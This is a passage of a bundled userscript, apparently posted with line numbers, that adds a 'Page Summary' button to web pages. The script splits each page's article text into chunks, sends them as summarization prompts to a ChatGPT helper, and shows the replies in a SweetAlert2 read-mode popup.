div:where(.swal2-validation-message)::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}div:where(.swal2-container) .swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em auto;padding:0;background:rgba(0,0,0,0);font-weight:600}div:where(.swal2-container) .swal2-progress-steps li{display:inline-block;position:relative}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}div:where(.swal2-icon){position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:0.25em solid rgba(0,0,0,0);border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}div:where(.swal2-icon) .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}div:where(.swal2-icon).swal2-error{border-color:#f27474;color:#f27474}div:where(.swal2-icon).swal2-error .swal2-x-mark{position:relative;flex-grow:1}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}div:where(.swal2-icon).swal2-warning{border-color:#facea8;color:#f8bb86}div:where(.swal2-icon).swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}div:where(.swal2-icon).swal2-info{border-color:#9de0f6;color:#3fc3ee}div:where(.swal2-icon).swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}div:where(.swal2-icon).swal2-question{border-color:#c9dae1;color:#87adbd}div:where(.swal2-icon).swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}div:where(.swal2-icon).swal2-success{border-color:#a5dc86;color:#a5dc86}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}div:where(.swal2-icon).swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-0.25em;left:-0.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}div:where(.swal2-icon).swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}[class^=swal2]{-webkit-tap-highlight-color:rgba(0,0,0,0)}.swal2-show{animation:swal2-show .3s}.swal2-hide{animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-0.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(0.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0deg)}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-0.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(0.7)}45%{transform:scale(1.05)}80%{transform:scale(0.95)}100%{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(0.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-0.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(0.4);opacity:0}50%{margin-top:1.625em;transform:scale(0.4);opacity:0}80%{margin-top:-0.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0deg);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}100%{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotateZ(45deg);opacity:0}25%{transform:rotateZ(-25deg);opacity:.4}50%{transform:rotateZ(15deg);opacity:.8}75%{transform:rotateZ(-5deg);opacity:1}100%{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto !important}body.swal2-no-backdrop .swal2-container{background-color:rgba(0,0,0,0) !important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll !important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static !important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:rgba(0,0,0,0);pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{inset:0 auto auto 50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{inset:0 0 auto auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{inset:0 auto auto 0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{inset:50% auto auto 0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{inset:50% auto auto 50%;transform:translate(-50%, -50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{inset:50% 0 auto auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{inset:auto auto 0 0}body.swal2-toast-shown .swal2-container.swal2-bottom{inset:auto auto 0 50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{inset:auto 0 0 auto}');
  3066. }
  3067. });
  3068.  
  3069. // src/index.ts
  3070. var import_chatgpt = __toESM(require_chatgpt2(), 1);
  3071.  
  3072. // ../../packages/monkit/dist/index.mjs
  3073. var MenuManager = class {
  3074. constructor(default_menu_all) {
  3075. this.default_menu_all = default_menu_all;
  3076. this.menu_all = GM_getValue("menu_all", this.default_menu_all);
  3077. for (const name in this.default_menu_all) {
  3078. if (!(name in this.menu_all)) {
  3079. this.menu_all[name] = this.default_menu_all[name];
  3080. }
  3081. }
  3082. this.menu_id = GM_getValue("menu_id", {});
  3083. this.update_menu();
  3084. }
  3085. registerMenuCommand(name, value) {
  3086. if (name === "chat_language") {
  3087. return GM_registerMenuCommand(`${name}\uFF1A${value}`, () => {
  3088. const language = prompt("Please input the language you want to use", value.toString());
  3089. if (language) {
  3090. this.menu_all[name] = language;
  3091. GM_setValue("menu_all", this.menu_all);
  3092. this.update_menu();
  3093. location.reload();
  3094. }
  3095. });
  3096. }
  3097. const menuText = ` ${name}\uFF1A${value ? "\u2705" : "\u274C"}`;
  3098. const commandCallback = () => {
  3099. this.menu_all[name] = !this.menu_all[name];
  3100. GM_setValue("menu_all", this.menu_all);
  3101. this.update_menu();
  3102. location.reload();
  3103. };
  3104. return GM_registerMenuCommand(menuText, commandCallback);
  3105. }
  3106. update_menu() {
  3107. for (const name in this.menu_all) {
  3108. const value = this.menu_all[name];
  3109. if (this.menu_id[name]) {
  3110. GM_unregisterMenuCommand(this.menu_id[name]);
  3111. }
  3112. this.menu_id[name] = this.registerMenuCommand(name, value);
  3113. }
  3114. GM_setValue("menu_id", this.menu_id);
  3115. }
  3116. getMenuValue(name) {
  3117. return this.menu_all[name];
  3118. }
  3119. };
  3120. function getLocalLanguage() {
  3121. const userLanguage = navigator.language;
  3122. const languageNames = new Intl.DisplayNames([userLanguage], { type: "language" });
  3123. const readableLanguage = languageNames.of(userLanguage);
  3124. return readableLanguage;
  3125. }
  3126.  
  3127. // ../../packages/page-button/dist/index.mjs
  3128. var import_sweetalert2 = __toESM(require_sweetalert2_all(), 1);
  3129. function displayHTML(html) {
  3130. return __async(this, null, function* () {
  3131. let screenWidth = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
  3132. let swalWidth = screenWidth < 800 ? "80%" : "800px";
  3133. if (!document.head.querySelector("#LXGWStyle")) {
  3134. let link = document.createElement("link");
  3135. link.rel = "stylesheet";
  3136. link.href = "https://cdnjs.cloudflare.com/ajax/libs/lxgw-wenkai-screen-webfont/1.7.0/style.css";
  3137. link.id = "LXGWStyle";
  3138. document.head.appendChild(link);
  3139. }
  3140. if (!document.head.querySelector("#readModeStyle")) {
  3141. let style = document.createElement("style");
  3142. style.type = "text/css";
  3143. style.id = "readModeStyle";
  3144. style.innerHTML = `
  3145. .text-left { text-align: left !important; }
  3146. .scrollable { max-height: 90vh; overflow-y: auto; }
  3147. .swal-font { font-family: "LXGW WenKai Screen", sans-serif; }
  3148. `;
  3149. document.head.appendChild(style);
  3150. }
  3151. import_sweetalert2.default.fire({
  3152. title: "",
  3153. html: html.join("<br />"),
  3154. width: swalWidth,
  3155. padding: "0em",
  3156. background: "#fff",
  3157. backdrop: "rgba(128,128,128,0.4)",
  3158. showConfirmButton: false,
  3159. showClass: { popup: "", backdrop: "" },
  3160. customClass: { htmlContainer: "text-left scrollable swal-font" },
  3161. willClose: () => {
  3162. const scrollable = document.querySelector(".scrollable");
  3163. if (scrollable) {
  3164. localStorage.setItem("scrollPos" + window.location.href, `${scrollable.scrollTop}`);
  3165. }
  3166. },
  3167. didOpen: () => {
  3168. const scrollable = document.querySelector(".scrollable");
  3169. if (scrollable) {
  3170. scrollable.scrollTop = parseInt(localStorage.getItem("scrollPos" + window.location.href) || "0");
  3171. }
  3172. }
  3173. });
  3174. });
  3175. }
  3176.  
  3177. // src/index.ts
  3178. var import_sweetalert22 = __toESM(require_sweetalert2_all(), 1);
  3179.  
  3180. // src/createButton/index.ts
  3181. function createButton(callback, buttonText) {
  3182. if (window.location.href.includes("chat.openai")) {
  3183. return;
  3184. }
  3185. const hideRight = document.title.match(/[\u4e00-\u9fa5]/) ? "-130px" : "-120px";
  3186. const button = document.createElement("button");
  3187. button.innerHTML = buttonText;
  3188. button.style.position = "fixed";
  3189. button.style.width = "140px";
  3190. button.style.top = "180px";
  3191. button.style.right = hideRight;
  3192. button.style.zIndex = "999999";
  3193. button.style.backgroundColor = "#F8BBC6";
  3194. button.style.color = "#fff";
  3195. button.style.opacity = "0.8";
  3196. button.style.border = "none";
  3197. button.style.borderRadius = "4px";
  3198. button.style.padding = "10px 16px";
  3199. button.style.fontSize = "18px";
  3200. button.style.cursor = "pointer";
  3201. button.style.transition = "right 0.3s";
  3202. document.body.appendChild(button);
  3203. button.addEventListener("mouseenter", () => {
  3204. button.style.right = "-10px";
  3205. });
  3206. button.addEventListener("mouseleave", () => {
  3207. button.style.right = hideRight;
  3208. });
  3209. document.addEventListener("fullscreenchange", () => {
  3210. if (document.fullscreenElement) {
  3211. button.style.display = "none";
  3212. } else {
  3213. button.style.display = "block";
  3214. }
  3215. });
  3216. button.addEventListener("click", callback);
  3217. }
  3218. var createButton_default = createButton;
  3219.  
  3220. // src/SimpleArticleSegmentation/index.ts
  3221. var MIN_PARAGRAPH_LENGTH = 3200;
  3222. var MAX_PARAGRAPH_LENGTH = 3600;
  3223. var TOKEN_LETTER_TO_CHARACTER_RATIO = 0.6;
  3224. var SimpleArticleSegmentation = class {
  3225. constructor(text) {
  3226. this.text = text;
  3227. }
  3228. containsAsianCharacters(str) {
  3229. const regex = /[\p{Script=Hiragana}\p{Script=Katakana}\p{Script=Han}\p{Script=Hangul}]/gu;
  3230. return regex.test(str);
  3231. }
  3232. segment() {
  3233. const paragraphs = [];
  3234. if (this.containsAsianCharacters(this.text)) {
  3235. let i = 0;
  3236. const maxParagraphLength = Math.floor(MAX_PARAGRAPH_LENGTH * TOKEN_LETTER_TO_CHARACTER_RATIO);
  3237. while (i < this.text.length) {
  3238. const paragraph = this.text.substring(i, i + maxParagraphLength);
  3239. paragraphs.push(paragraph);
  3240. i += maxParagraphLength;
  3241. }
  3242. } else {
  3243. const sentences = this.text.split(new RegExp("(?<=[.!?])\\s+"));
  3244. let paragraph = "";
  3245. for (const sentence of sentences) {
  3246. if (paragraph.length + sentence.length + 1 <= MAX_PARAGRAPH_LENGTH) {
  3247. paragraph += (paragraph.length > 0 ? " " : "") + sentence;
  3248. } else {
  3249. if (paragraph.length >= MIN_PARAGRAPH_LENGTH) {
  3250. paragraphs.push(paragraph);
  3251. paragraph = sentence;
  3252. } else {
  3253. paragraph += " " + sentence;
  3254. }
  3255. }
  3256. }
  3257. if (paragraph.length >= MIN_PARAGRAPH_LENGTH) {
  3258. paragraphs.push(paragraph);
  3259. }
  3260. }
  3261. return paragraphs;
  3262. }
  3263. };
  3264. var SimpleArticleSegmentation_default = SimpleArticleSegmentation;
  3265.  
  3266. // src/getParagraphs/index.ts
  3267. function getParagraphs() {
  3268. try {
  3269. let docClone = document.cloneNode(true);
  3270. let article = new Readability(docClone).parse();
  3271. if (article && article.textContent) {
  3272. const segmenter = new SimpleArticleSegmentation_default(article.textContent);
  3273. const paragraphs = segmenter.segment();
  3274. for (let i = 0; i < paragraphs.length; i++) {
  3275. paragraphs[i] = paragraphs[i].trim();
  3276. }
  3277. return paragraphs;
  3278. } else {
  3279. console.warn("Readability.js could not extract any text content from this page.");
  3280. return [];
  3281. }
  3282. } catch (error) {
  3283. console.error("An error occurred while using Readability.js:", error);
  3284. return [];
  3285. }
  3286. }
  3287. var getParagraphs_default = getParagraphs;
  3288.  
  3289. // src/index.ts
  3290. function initialize() {
  3291. return __async(this, null, function* () {
  3292. yield new Promise((r) => window.addEventListener("load", r));
  3293. yield new Promise((r) => setTimeout(r, 1e3));
  3294. });
  3295. }
  3296. (() => __async(void 0, null, function* () {
  3297. yield initialize();
  3298. const menu = new MenuManager({ "chat_language": getLocalLanguage() || "Chinese" });
  3299. const lang = menu.getMenuValue("chat_language");
  3300. const setPrompts = (paras) => GM_setValue("prompt_texts", paras.map((p, i) => `Answer me in several paragraphs in ${lang} language,
  3301. Summarize below paragraph into a bulleted list of the most important information, prefix with emoji:
  3302.  
  3303. ${p}${i + 1}/${paras.length}
  3304.  
  3305. ps: answer in several paragraphs in ${lang} language`));
  3306. GM_registerMenuCommand("\u{1F4DD} Input", () => {
  3307. import_sweetalert22.default.fire({ title: "Please input the text you want to deal with", input: "text", inputPlaceholder: "Enter your text here" }).then((result) => {
  3308. if (result.value)
  3309. setPrompts(new SimpleArticleSegmentation_default(result.value).segment());
  3310. });
  3311. });
  3312. (0, import_chatgpt.setPromptListener)("prompt_texts");
  3313. createButton_default(() => __async(void 0, null, function* () {
  3314. return setPrompts(getParagraphs_default());
  3315. }), navigator.language.startsWith("zh") ? "\u9875\u9762\u6458\u8981" : "Page Summary");
  3316. function displayReadMode() {
  3317. let html = (0, import_chatgpt.getResponseElementHTMLs)();
  3318. if (html.length === 0) {
  3319. html = ["<p>No responses available.</p>"];
  3320. }
  3321. displayHTML(html);
  3322. }
  3323. GM_registerMenuCommand("\u{1F4D6} Read Mode", displayReadMode);
  3324. }))();
  3325. })();
  3326. /*! Bundled license information:
  3327.  
  3328. sweetalert2/dist/sweetalert2.all.js:
  3329. (*!
  3330. * sweetalert2 v11.7.18
  3331. * Released under the MIT License.
  3332. *)
  3333. */